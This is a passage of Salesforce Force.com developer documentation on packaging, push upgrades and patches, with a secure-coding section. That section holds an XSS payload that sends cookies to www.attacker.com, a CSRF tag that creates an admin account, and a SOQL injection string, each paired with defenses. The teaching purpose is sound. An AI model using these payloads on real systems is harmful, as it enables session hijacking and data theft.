2. Select the package that contains the app or components you uploaded.
3. Select the version number listed in the Version Upload History related list.

• Click Change Password to change the password option.


Tip: If you have forgotten the password for an upload, contact salesforce.com and provide the ID listed on the
Edit Security page.

• Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating.
Note: You cannot deprecate the most recent version of an uploaded managed package.

1512
Create Understanding Dependencies

When you deprecate a package, remember to remove it from AppExchange as well. See “Removing Apps from
AppExchange” in the Force.com AppExchange online help.
• Click Undeprecate to make a deprecated upload available for installation again.

Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded,
click Proceed to AppExchange from the package upload detail page.

See Also:
Preparing Your Apps for Distribution
Understanding Dependencies
Creating and Uploading Patches
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Security Tips for Apex and Visualforce Development

Understanding Dependencies
AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer
Editions
Apex available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages: “Upload AppExchange Packages”
To view Apex dependencies: “Author Apex”
To view Visualforce dependencies: “Developer Mode”

Package dependencies are created when one component references another component, permission, or preference, which must
exist for the component to be valid. Force.com tracks certain dependencies, including:

• Organizational dependencies, such as whether multicurrency or campaigns are enabled


• Component-specific dependencies, such as whether particular record types or divisions exist
• References to both standard and custom objects or fields

Packages, Apex classes, Apex triggers, Visualforce components, and Visualforce pages can have dependencies on components
within an organization. These dependencies are recorded on the Show Dependencies page.
Dependencies are important for packaging because any dependency in a component of a package is considered a dependency
of the package as a whole.
Note: An installer’s organization must meet all dependency requirements listed on the Show Dependencies page or
else the installation will fail. For example, the installer's organization must have divisions enabled to install a package
that references divisions.

1513
Create Understanding Dependencies

Dependencies are important for Apex classes or triggers because any component on which a class or trigger depends must be
included with the class or trigger when the code is deployed or packaged.
In addition to dependencies, the operational scope is also displayed on the Show Dependencies page. The operational scope is
a table that lists any data manipulation language (DML) operations (such as insert or merge) that an Apex script executes
on a specified object. The operational scope can be used when installing an app to determine the full extent of the app's database
operations.
To view the dependencies and operational scope for a package, Apex class, Apex trigger, or Visualforce page:

1. Navigate to the appropriate component:

• For packages, click Setup ➤ Create ➤ Packages.


• For Apex classes, click Setup ➤ Develop ➤ Apex Classes.
• For Apex triggers on standard objects, click Setup ➤ Customize, click the name of the object, and then click Triggers.
• For Apex triggers on custom objects, click Setup ➤ Create, click the name of the object, and then click Triggers.
• For Visualforce pages, click Setup ➤ Develop ➤ Pages.

2. Select the name of the component.


3. Click Show Dependencies.

If a list of dependent objects displays, click Fields to access the field-level detail of the operational scope. The field-level detail
includes information such as whether a field is updated by an Apex script. For more information, see Field Operational Scope
on page 1515.
Packages, Apex scripts, and Visualforce pages can be dependent on many components, including but not limited too:

• Custom field definitions


• S-controls
• Validation formulas
• Reports
• Record types
• Apex scripts
• Visualforce pages and components

For example, if an Visualforce page includes a reference to a multicurrency field, such as {!contract.ISO_code}, that
Visualforce page has a dependency on multicurrency. If a package contains this Visualforce page, it also has a dependency on
multicurrency. Any organization that wants to install this package must have multicurrency enabled.

See Also:
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages
Publishing Extensions to Managed Packages
Field Operational Scope

1514
Create Scheduling Push Upgrades

Field Operational Scope


AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer
Editions
Apex available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To upload packages: “Upload AppExchange Packages”
To view Apex dependencies: “Author Apex”
To view Visualforce dependencies: “Developer Mode”

The fields displayed on the Fields Operational Scope page are referenced through the operational scope:

• If the Is Updated checkbox is selected, the field is updated using a database manipulation language (DML) operation,
such as insert or update. For more information, see Understanding Dependencies on page 1513.
If the Is Updated checkbox is not selected, the field is only referenced within the operational scope. For example, it may
be included as part of a select statement.
• If the External ID checkbox is selected, the field acts as an External ID. An external ID field contains unique record
identifiers from a system outside of Salesforce.com. You can use the Sidebar Search to find external ID values, and you
can use the field in the Force.com API. When using the import wizards for custom objects and solutions, you can use this
field to prevent duplicates.

See Also:
Understanding Dependencies

Scheduling Push Upgrades


Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development “Upload AppExchange Packages”
organization:

Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.

After you have created a patch version of your package, you can automatically deploy it to customers using a push upgrade.

1515
Create Scheduling Push Upgrades

Tip: Salesforce.com strongly recommends the following sequence for pushing package upgrades:

1. Push the patch to your own organizations so that you can run tests and fix any bugs before upgrading subscribers.
2. When you're ready, push to your customer's organizations. Try sandbox organizations first, if possible.
3. If the patch applies to your most recent release, deprecate the previous version of your package in your main
development organization. Replace the version on AppExchange if necessary, and update your Trialforce.
4. Run the push upgrade once again to ensure any remaining subscribers are upgraded.
5. After your patch is successfully distributed to subscriber organizations, reintegrate those changes into your main
development organization.
For more information about combining patches into the main development organization, see “Working with Patch
Versions” in the Force.com Quick Reference for Developing Packages.

Read the Best Practices for Push Upgrades and Patch Versions on page 1521 for more information.

To schedule a push upgrade:


1. Log into your main development organization.
2. Under Setup ➤ Create ➤ Packages, click the name of your managed package with a patch you want to push. On the
package detail page, click Push Upgrades.
3. Click Schedule Push Upgrades.
4. Select a patch version to push from the Patch Version drop-down list. Only packages that have been uploaded from a
patch development organization are available in this list.
Note: Beta versions aren't eligible for push.

5. Enter a Scheduled Start Date, indicating when a push upgrade should begin.
6. Optionally, check Ignore Apex test failures during upgrade.
Caution:
This checkbox should be selected in rare cases when a push upgrade is failing due to an Apex test failure. Only
select this option if both you and your subscriber have reviewed the package you want to upgrade and both agree
that upgrading to the new version is safe. For more information on why your install might have failed, see Resolving
Apex Test Failures on page 1536.

7. In the Select Target Organizations section, select the organizations to receive your push upgrade. If an organization already
received a push upgrade for the selected package version, it won't appear in this list. You can select organizations by:

• Entering a term that filters based on an organization's name or ID. Names can match by partial string, but IDs must
match exactly.
• Choosing between production and sandbox organizations from the Organizations drop-down list.
• Choosing organizations that have already installed a particular version.
• Clicking on individual organizations, or the Select All and Deselect All checkboxes.

This section lists the following information about the organization (in alphabetical order):

Field Description
Current Version The current package version an organization has installed.

1516
Create Scheduling Push Upgrades

Field Description
Organization ID The ID that uniquely identifies the organization to
salesforce.com.
Organization Name The name of the organization. Clicking this name shows
the upgrade history for the organization.
Primary Contact The name of the contact who installed the package.

8. Click Schedule.

While a push upgrade is in progress, you can click Abort to stop it.
On the previous push upgrades page, the Push Upgrade History table lists recently scheduled push upgrades for the package.

See Also:
Viewing Push Upgrade Details
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages

Viewing Push Upgrade History


Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development “Upload AppExchange Packages”
organization:

Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.

To view the details of a push upgrade sent by your organization, click Setup ➤ Create ➤ Packages, click the name of the
package you want to view, then click Push Upgrades. To schedule a new push upgrade, click Schedule Push Upgrade.
The Push Upgrade History page lists the status of all your pending and previous push upgrades. To filter your push upgrade
history:

1. Select a version number from the drop-down list. Not selecting any version is equivalent to selecting all of them.
2. Select one or more statuses from the Status list. Not selecting any status is equivalent to selecting all of them.
3. Click Apply to filter the list. Click Clear to remove all the filters.

The history displays the following information (in alphabetical order):

1517
Create Scheduling Push Upgrades

Column Description
Action While a push upgrade is in progress, you can click Abort to
stop it.
Start Date The scheduled start date and time of the push upgrade.
Status The status of the push upgrade, whether scheduled, in
progress, completed, aborted, or completed with failures.
Target The name of the organization the push upgrade went to. For
multiple organizations, this field only lists the first organization
in the queue, followed by the number of the total selected
organizations. Clicking on this link provides you with more
information about the target push upgrade and each individual
organization.
Version The package version number that was pushed.

See Also:
Viewing Push Upgrade Details
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages

Viewing Push Upgrade Details

Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development “Upload AppExchange Packages”
organization:

Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.

For information about a specific push upgrade that your organization sent, click Setup ➤ Create ➤ Packages, click the name
of the package you want to view, then click Push Upgrades. Clicking on the name of a Target takes you to the Push Upgrade
Details page, which has information both for the push job and each organization that it was pushed to.
The Job Details section has the following information about the overall push upgrade (in alphabetical order):

Field Description
End Date The date and time the push upgrade finished.

1518
Create Scheduling Push Upgrades

Field Description
Ignore Apex Test Failures Whether Apex test failures that may cause the installed
application not to function properly were ignored.
Scheduled By The name of the user who initiated the push upgrade.
Start Date The scheduled start date and time of the push upgrade.
Status The status of the push upgrade, whether scheduled, in
progress, completed, aborted, or completed with failures.
Version The package version number that was pushed.

In the Organizations section, you can get a list of all the organizations that received a push upgrade. You can filter organizations
by using the search box and entering a term that filters based on an organization's name or ID. Names can match by partial
string, but IDs must match exactly. From the drop-down list, you can also filter based on the status of the push upgrade.
The list contains the following information specific to each organization (in alphabetical order):

Field Description
Duration The amount of time the push upgrade took.
Failure Type Lists the type of failure that occurred (if any). If the push
upgrade did fail, a possible explanation is provided in the
collapsible section. If the push upgrade was unsuccessful, click
Retry to try it again.
Organization ID The ID that uniquely identifies the organization to
salesforce.com.
Organization Name The name of the organization. Clicking this name shows the
upgrade history for the organization.
Start The scheduled start date and time of the push upgrade.
Status The status of the push upgrade, whether scheduled, in
progress, completed, aborted, or completed with failures.

See Also:
Viewing Push Upgrade History
Scheduling Push Upgrades
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages

1519
Create Scheduling Push Upgrades

Viewing an Organization's Upgrade History

Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development “Upload AppExchange Packages”
organization:

Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.

For more information about a specific organization that received a push upgrade, click Setup ➤ Create ➤ Packages, click
the name of the package you want to view, then click on the name of a Target. Clicking on an organization in the target list
provides the following details (in alphabetical order):

Field Description
Current Version The current package version an organization has installed.
Organization ID The ID that uniquely identifies the organization to
salesforce.com.
Organization Name The name of the organization.
Primary Contact The name of the contact who installed the package.
Primary Contact Email The email address of the package publisher.
Status The status of the push upgrade, whether scheduled, in
progress, completed, aborted, or completed with failures.

The Push Upgrade History lists the following information (in alphabetical order):

Field Description
Action Clicking View Details returns you to the job details for that
upgrade.
Start Date The scheduled start date and time of the push upgrade.
Status The status of the push upgrade, whether scheduled, in
progress, completed, aborted, or completed with failures.

1520
Create Scheduling Push Upgrades

Field Description
Version The package version number that was pushed.

See Also:
Viewing Push Upgrade Details
Viewing Push Upgrade History
Creating and Uploading Patches
Scheduling Push Upgrades
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages

Best Practices for Push Upgrades and Patch Versions


Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development “Upload AppExchange Packages”
organization:

Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.

Consider the following best practices when scheduling a push:

• Pushes can be scheduled to run immediately, or at a future date. It's recommend that you schedule push upgrades at off-peak
hours to minimize potential subscriber impact.
• Only ignore Apex tests after confirming with your customer that it's safe to upgrade.
• Visualforce pages that are refreshed while a push upgrade is in process may lose their view state if the page or controller is
changed.
• To push new translations for existing components, add the languages for those translations to the package when you upload
it as a major release. Then, add the individual translations in patch releases.

Consider the following best practices when creating a patch version:

• Visible changes to a package shouldn't be performed in a patch. Other than a change in the package version number,
subscribers aren't notified of push upgrades.
• Changes to validation rules, formula fields, and errors thrown from Apex triggers are highly discouraged, as they may
negatively impact subscribers integrations.

1521
Create Developing App Documentation

Developing App Documentation


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit custom tabs: “Customize Application”

Salesforce.com recommends publishing your app on Force.com AppExchange with the following types of documentation:
About Tab
Most apps are installed by an administrator. Therefore, most users are not aware of an app until it is deployed. After
deployment, an About tab is very useful to users and can give them an introduction to the entire app.
An About tab is a custom tab included with an app on AppExchange. It provides users with:

• A description of the app


• Training and support information

Providing users with training options is the best way to ensure customer adoption of your app. Similar to the way that
salesforce.com provides free training, you should provide user training for commercial applications either through webinars
or recorded presentations. Include a section in your About tab that covers how to get training on the app.
If users of your app call salesforce.com for assistance, we will try to determine if the issue resides with our application or
yours. We can only support our application, our standard user interface, and the installation of apps. If the customer is
asking about functionality that is unique to your app, we will ask them to examine the About tab for information on
how to get support for your app. We expect commercial apps to provide support that is similar to the support salesforce.com
offers and that the About tab contain contact information for this support.

Configure Option
You can include a Configure option for installers of your app. This option can link to installation and configuration
details such as:

• Provisioning the external service of a composite app


• Custom app settings

The Configure option is included in your package as a custom link. You can create a custom link for your home page
layouts and add it to your package. To do this:

1. Create a custom link to a URL that contains configuration information or a Visualforce page that implements
configuration. When you create your custom link, set the display properties to Open in separate popup window
so that the user returns to the same Salesforce.com page when done.
2. When you create the package, choose this custom link in the Configure Custom Link field of your package
detail.

Data Sheet
Give installers the fundamental information they need to know about your app before they install.

1522
Create Assigning Force.com AppExchange Publishers

Customization and Enhancement Guide


Let installers know what they should customize after installation as part of their implementation.

Custom Help
You can provide custom help for your custom object records and custom fields.
Tip: To give your custom help a professional tone using Salesforce.com terminology, follow the Salesforce.com
Style Guide for Documentation and User Interface Text. To use the Salesforce.com styles, use Visualforce to
design your pages.

See Also:
Overview of Packages
Assigning Force.com AppExchange Publishers

Assigning Force.com AppExchange Publishers


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign permissions: “Customize Application”

Users that publish packages on Force.com AppExchange must have the following user permissions:
Create Force.com AppExchange packages
Allows a user to create packages and add components to it.

Upload Force.com AppExchange Packages


Allows a user to upload and register or publish packages to Force.com AppExchange.

The System Administrator profile automatically has both these permissions, as well as any custom profile with the “Customize
Application” and “Modify All Data” permissions. Determine which of your users should have these permissions and add them
to the appropriate user profiles.

See Also:
Overview of Packages
Developing App Documentation

1523
Create Security Tips for Apex and Visualforce Development

Security Tips for Apex and Visualforce Development


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

Understanding Security
The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and
business logic to Salesforce.com or create a completely new stand-alone product running inside the Force.com platform.
However, as with any programming language, developers must be cognizant of potential security-related pitfalls.
Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can
still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the
coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities,
while others are unique to Apex.
To certify an application for Force.com AppExchange, it is important that developers learn and understand the security flaws
described here. For additional information, see the Force.com Security Resources page on Developer Force at
http://wiki.developerforce.com/index.php/Security.

See Also:
Managing Uploads

Cross-Site Scripting (XSS)


Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided
to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The
user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the
attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages
without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from
one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style
websites, news, or email archives.
For example, assume the following script is included in a Force.com page using a script component, an on* event, or a
Visualforce page.

<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =


'{!$CurrentPage.parameters.userparam}';</script>

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following
value for userparam:

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if
they were the victim.
The attacker can post a malicious script using a Web site or email. Web application users not only see the attacker's input,
but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety

1524
Create Security Tips for Apex and Visualforce Development

of attacks against the victim. These range from simple actions such as opening and closing windows, to more malicious attacks
such as stealing data or session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/articles/xss-faq.shtml
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented
filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods,
the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or
accidentally bypass the default controls. The following sections show where protection does and does not exist.

Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following
code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but
the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form.
For example, the < character is converted to &lt; so that a literal < displays on the user's screen.

<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>

Disabling Escape on Visualforce Tags


By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting
the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks:

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Programming Items Not Protected from XSS


The following items do not have built-in XSS protections and you should take extra care when using these tags and objects.
This is because these items were intended to allow the developer to customize the page by inserting script commands. It does
not makes sense to include anti-XSS filters on commands that are intentionally added to a page.
Custom JavaScript
If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is
vulnerable to XSS if used in JavaScript.

<script>
var foo = location.search;
document.write(foo);
</script>

<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these
cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the
following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value

1525
Create Security Tips for Apex and Visualforce Development

provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as
in the example below), they can potentially direct the victim to include any JavaScript file from any other website.

<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

S-Control Template and Formula Tags


S-Controls give the developer direct access to the HTML page on which they appear and include an array of variables that
can be used to insert data into the pages. As described above, s-controls do not use any built-in XSS protections. When using
the template and formula tags, all output is unfiltered and must be validated by the developer.
Caution: S-controls will be desupported in a future release. Salesforce.com strongly suggests you create custom user
interface elements using Visualforce instead of s-controls. For more information, see How Do Visualforce Pages
Compare to S-Controls?

The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to
include a user's session ID in a link, they could create the link using the following syntax:

<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>

Which renders output similar to the following:

<a
href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com
/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

Formula expressions can be function calls or include information about platform objects, a user's environment, system
environment, and the request environment. An important feature of these expressions is that data is not escaped during
rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript
or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system
data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output
during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters.

<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>

Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the
request:

http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

results in the output:

<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello
world!</body></html>

1526
Create Security Tips for Apex and Visualforce Development

The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement
of the {!$Request.*} expression in the example, the above attack could be prevented by using the following nested
SUBSTITUTE() calls.

<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>

Depending on the placement of the tag and usage of the data, both the characters needing escaping as well as their escaped
counterparts may vary. For instance, this statement:

<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>

requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped
", since it is probably going to be used in a link. Otherwise, the request:

http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F

results in:

<script>var ret = "foo";alert('xss');//";</script>

Additionally, the ret variable may need additional client-side escaping later in the page if it is used in a way which may cause
included HTML control characters to be interpreted.
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization,
it must still be escaped before use to prevent users from executing code in the context of other users (potentially those with
higher privilege levels). While these types of attacks must be performed by users within the same organization, they undermine
the organization's user roles and reduce the integrity of auditing records. Additionally, many organizations contain data which
has been imported from external sources and may not have been screened for malicious content.

Cross-Site Request Forgery (CSRF)


Cross-Site Request Forgery (CSRF) flaws are less of a programming mistake as they are a lack of a defense. The easiest way
to describe CSRF is to provide a very simple example. An attacker has a Web page at www.attacker.com. This could be
any Web page, including one that provides valuable services or information that drives traffic to that site. Somewhere on the
attacker's page is an HTML tag that looks like this:

<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />

In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your
Web page when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds
because the user is still authenticated to your Web page. This is a very simple example and the attacker can get more creative
by using scripts to generate the callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/articles/csrf-faq.shtml

1527
Create Security Tips for Apex and Visualforce Development

• http://shiflett.org/articles/cross-site-request-forgeries
Within the Force.com platform, salesforce.com has implemented an anti-CSRF token to prevent this attack. Every page
includes a random string of characters as a hidden form field. Upon the next page load, the application checks the validity of
this string of characters and does not execute the command unless the value matches the expected value. This feature protects
you when using all of the standard controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a
custom controller where you take the object ID as an input parameter, then use that input parameter in an SOQL call. Consider
the following code snippet.

<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass {


public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;
}
}

In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The
id parameter is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page may have
sent the user to this page using a CSRF attack and could have provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action
based upon a user-supplied parameter like the id variable in the preceding example. A possible work-around could be to insert
an intermediate confirmation page before taking the action, to make sure the user intended to call the page. Other suggestions
include shortening the idle session timeout for the organization and educating users to log out of their active session and not
use their browser to visit other sites while authenticated.

SOQL Injection
In other programming languages, this flaw is known as SQL injection. Apex does not use SQL, but uses its own database
query language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much
lower for SOQL injection than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary
SQL/SOQL injection involves taking user-supplied input and using those values in a dynamic SOQL query. If the input is
not validated, it may include SOQL commands that effectively modify the SOQL statement and trick the application into
performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection
• http://www.google.com/search?q=sql+injection

SOQL Injection Vulnerability in Apex


Below is a simple example of Apex and Visualforce code vulnerable to SOQL injection.

<apex:page controller="SOQLController" >


<apex:form>
<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />

1528
Create Security Tips for Apex and Visualforce Development

</apex:form>
</apex:page>

public class SOQLController {


public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String qryString = 'SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like \'%' + name + '%\')';
queryResult = Database.query(qryString);
return null;
}
}

This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted.
The user provides one input value called name. The value can be anything provided by the user and it is never validated. The
SOQL query is built dynamically and then executed with the Database.query method. If the user provided a normal value,
the statement executes as expected:

name = Bob
sqyString = SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

However, what if the user provided unexpected input, such as:

name = test%') or (Name like '

In that case, the query string becomes:

SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%test%') or (Name like '%')

Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended
logic of any vulnerable query.

SOQL Injection Defenses


To prevent a SOQL injection attack, avoid using dynamic SOQL queries. Instead, use static queries and binding variables.
The vulnerable example above could be re-written using static SOQL as follows:

public class SOQLController {


public String name {
get { return name;}
set { name = value;}
}
public PageReference query() {
String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE
(IsDeleted = false and Name like :queryName)];
return null;
}
}

If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds
the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all
single quotation marks are treated as enclosing strings, instead of database commands.

1529
Create Creating and Uploading Patches

Data Access Control


The Force.com platform makes extensive use of data sharing rules. Each object can have unique permissions for which users
and profiles can read, create, edit, and delete. These restrictions are enforced when using all standard controllers.
When using an Apex class, the built-in profile permissions and field-level security restrictions are not respected during execution.
The default behavior is that an Apex class has the ability to read and update all data with the organization. Because these rules
are not enforced, developers who use Apex must take care that they do not inadvertently expose sensitive data that would
normally be hidden from users by profile-based permissions, field-level security, or organization-wide defaults. This is particularly
true for Visualforce pages. For example, consider the following Apex pseudo-code:

public class customController {


public void read() {
Contact contact = [Select id from Contact where Name = :value];
}
}

In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view
these records. The solution is to use the qualifying keywords with sharing when declaring the class:

public with sharing class customController {


. . .
}

The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in,
rather than granting full access to all records.

Creating and Uploading Patches


Available in: Developer Edition

User Permissions Needed


To push an upgrade, or create a patch development “Upload AppExchange Packages”
organization:

Note: Patch versions and push upgrades are only available to Salesforce.com ISV partners.

Patch versions are developed and maintained in a patch development organization. For more information on push upgrades
and patches, see the Force.com Quick Reference for Developing Packages. You can also read the Best Practices for Push
Upgrades and Patch Versions on page 1521 for more information.
To create a patch version:

1. Click Setup ➤ Create ➤ Packages.


2. Click the name of your managed package.
3. In the Development Organization section, click New.

1530
Create Creating and Uploading Patches

4. Select the package version that you want to create a patch for in the Patching Major Release drop-down list. The release
type must be Managed - Released for a patch to be created.
5. Enter a Username for a login to your patch organization.
6. Enter an Email Address associated with your login.
7. Click Save.
Note: If you ever lose your login information, click Reset on the package detail page under Patch Development
Organizations to reset the login to your patch development organization.

After you receive an email indicating Salesforce.com has created your patch development organization, you can click Login
to begin developing your patch version.
Development in a patch development organization is restricted. The following is a list of caveats when developing patches in
a patch development organization:

• New package components can't be added.


• Existing package components can't be deleted.
• API and dynamic Apex access controls can't change for the package.
• No deprecation of Apex, objects, or fields.
• No new Apex class relationships, such as extends, can be added.
• No new Apex access modifiers, such as virtual or global, can be added.
• No new Web services can be added.

When you finish developing your patch, in your patch development organization:

1. Click Setup ➤ Create ➤ Packages and click the name of the package.
2. Click Upload. On the Upload Package page, do the following:

a. Enter a Version Name, such as June 2009. This field is required for managed and unmanaged packages. The version
name is the marketing name for a specific release of a package and allows you to create a more descriptive title for the
version.
b. Notice that the Version Number has had its patchNumber incremented.
c. For managed packages, select a Release Type:

• Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce.com
components are locked. For a list of locked attributes, see the Force.com Quick Reference for Developing Packages.
• Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for
testing purposes. You'll still be able to change the components and upload additional beta versions. For information
on beta versions, see the Force.com Quick Reference for Developing Packages.
Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't
be pushed to customer organizations.

d. Change the Description, if necessary.


e. Optionally, enter and confirm a password to share the package privately with anyone who has the password. Don't
enter a password if you want to make the package available to anyone on AppExchange and share your package publicly.
f. Salesforce.com automatically selects the requirements it finds. In addition, select any other required components from
the Package Requirements and Object Requirements sections to notify installers of any requirements for this
package.

1531
Create Converting Unmanaged Packages to Managed

g. Click Upload.

To distribute your patch, you can either share the upload link, or schedule a push upgrade.

See Also:
Scheduling Push Upgrades
Viewing Push Upgrade History
Preparing Your Apps for Distribution
Managing Uploads
Publishing Upgrades to Managed Packages

Converting Unmanaged Packages to Managed


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To configure developer settings: “Customize Application”
To create packages: “Create AppExchange Packages”
To upload packages: “Upload AppExchange Packages”

Your organization may already have uploaded and registered packages on Force.com AppExchange directory. All packages
uploaded prior to the Winter '07 release are unmanaged, meaning they cannot be upgraded in the installer's organization. You
can convert them to managed packages by configuring your organization for managed packages and choosing a package to be
managed. This allows you to notify installers when an upgrade is ready for them to install.
Before you convert an existing package to managed, notify your current installers of how to save their data:

1. Export all the data from the previous, unmanaged version of the package.
2. Uninstall the unmanaged package.
3. Install the new managed version of the package.
4. Import all the exported data into the new managed package.
Note: Note to installers: if you have made customizations to an installation of an unmanaged package, make a list
of these customizations before uninstalling since you may want to implement them again. However, some
customizations will not be possible with a managed package. See the Force.com Quick Reference for Developing
Packages.

To convert an unmanaged package into a managed package:

1. Enable managed packages for your organization.


